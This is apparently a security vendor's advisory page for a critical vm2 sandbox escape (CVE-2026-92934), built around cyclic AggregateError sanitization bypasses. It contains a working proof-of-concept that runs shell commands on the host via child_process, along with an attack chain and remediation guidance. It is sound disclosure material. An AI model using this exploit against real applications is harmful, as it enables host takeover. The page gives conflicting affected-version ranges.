CVE-2026-92934

CVE-2026-92934 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.7. It is fixed in 3.11.8.

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Runtime intelligence, not another scanner.

Summary

vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit

vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.

Root Cause

handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e;, returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].

Proof of Concept

const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
  const shared = new AggregateError([], 'shared');
  shared.leak = process;                                  // incidental host ref
  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
  try { hostThrow(); } catch (e) {
    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
  }`));                                                   // -> uid=1000(...) host RCE

Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.

Attack Chain

  1. Entry, embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope.
  2. Caught-exception sanitizer, sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live.
  3. Sink, e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu)....
  4. Impact, host RCE with host privileges; also process.env/.pid disclosure.

Bypass Evidence

Executed on node v22.23, vm2 3.11.6:

  • Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED
  • Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED
  • Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED
  • AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)

Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks, proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….

Affected Versions

<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward, an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).

Scope Note

This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.

Impact

Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox, a complete sandbox escape on the caught-exception (throw) channel.

CVE-2026-92934 has a CVSS score of 9.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.8); upgrading removes the vulnerable code path.

Affected versions

vm2 (<= 3.11.7)

Security releases

vm2 → 3.11.8 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.

Reported by zx (Jace), GitHub: @manus-use

Frequently Asked Questions

  1. What is CVE-2026-92934? CVE-2026-92934 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.7. It is fixed in 3.11.8.
  2. How severe is CVE-2026-92934? CVE-2026-92934 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vm2 are affected by CVE-2026-92934? vm2 (npm) versions <= 3.11.7 is affected.
  4. Is there a fix for CVE-2026-92934? Yes. CVE-2026-92934 is fixed in 3.11.8. Upgrade to this version or later.
  5. Is CVE-2026-92934 exploitable, and should I be worried? Whether CVE-2026-92934 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-92934 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-92934? Upgrade vm2 to 3.11.8 or later.

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